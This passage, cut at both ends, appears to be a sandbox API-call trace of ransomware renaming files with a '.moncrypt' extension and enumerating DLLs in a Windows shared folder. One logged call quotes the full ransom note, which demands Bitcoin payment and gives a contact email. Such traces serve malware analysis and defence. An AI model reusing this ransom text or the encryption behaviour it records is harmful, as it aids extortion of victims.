Shared\\TRANSLAT\\MSB1CACH.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.722] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0054.722] CloseHandle (hObject=0x188) returned 1 [0054.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0054.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.723] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.723] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.723] GlobalUnlock (hMem=0x44000c) returned 0 [0054.723] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.723] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.723] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.723] GlobalUnlock (hMem=0x44000c) returned 0 [0054.723] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.723] GlobalUnlock (hMem=0x440004) returned 0 [0054.723] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cb8d40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41cb8d40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41cb8d40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0054.723] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0054.723] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0054.723] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0054.724] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0054.724] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0054.724] CloseHandle (hObject=0x188) returned 1 [0054.724] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0054.724] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.724] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.725] GlobalLock (hMem=0x440004) returned 0x550170 [0054.725] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.725] GlobalUnlock (hMem=0x440004) returned 0 [0054.725] GlobalLock (hMem=0x440004) returned 0x550170 [0054.725] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.725] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.725] GlobalUnlock (hMem=0x440004) returned 0 [0054.725] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.725] GlobalUnlock (hMem=0x44000c) returned 0 [0054.725] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.725] CharLowerBuffW (in: lpsz="MSB1CORE.DLL", cchLength=0xc | out: lpsz="msb1core.dll") returned 0xc [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLLn", lpUsedDefaultChar=0x0) returned 68 [0054.726] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0054.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\MSB1CORE.DLLn", lpUsedDefaultChar=0x0) returned 4 [0054.726] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0054.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.726] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.726] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.726] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.726] GlobalUnlock (hMem=0x44000c) returned 0 [0054.726] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.726] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.726] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.726] GlobalUnlock (hMem=0x44000c) returned 0 [0054.726] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.726] GlobalUnlock (hMem=0x440004) returned 0 [0054.726] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.726] CharLowerBuffW (in: lpsz="MSB1STAR.DLL", cchLength=0xc | out: lpsz="msb1star.dll") returned 0xc [0054.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLLn", lpUsedDefaultChar=0x0) returned 68 [0054.727] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0054.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\MSB1STAR.DLLn", lpUsedDefaultChar=0x0) returned 4 [0054.727] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0054.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.728] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.728] GlobalLock (hMem=0x440004) returned 0x550170 [0054.728] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.728] GlobalUnlock (hMem=0x440004) returned 0 [0054.728] GlobalLock (hMem=0x440004) returned 0x550170 [0054.728] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.728] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.728] GlobalUnlock (hMem=0x440004) returned 0 [0054.728] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.728] GlobalUnlock (hMem=0x44000c) returned 0 [0054.728] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.728] CharLowerBuffW (in: lpsz="MSB1XTOR.DLL", cchLength=0xc | out: lpsz="msb1xtor.dll") returned 0xc [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLLn", lpUsedDefaultChar=0x0) returned 68 [0054.729] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0054.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\MSB1XTOR.DLLn", lpUsedDefaultChar=0x0) returned 4 [0054.729] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0054.729] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.729] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.729] GlobalUnlock (hMem=0x44000c) returned 0 [0054.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.729] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.729] GlobalUnlock (hMem=0x44000c) returned 0 [0054.729] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.729] GlobalUnlock (hMem=0x440004) returned 0 [0054.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.730] CharLowerBuffW (in: lpsz="WTSP61MS.DLL", cchLength=0xc | out: lpsz="wtsp61ms.dll") returned 0xc [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.730] WideCharToMultiByte (in: CodePage=0x4e4, 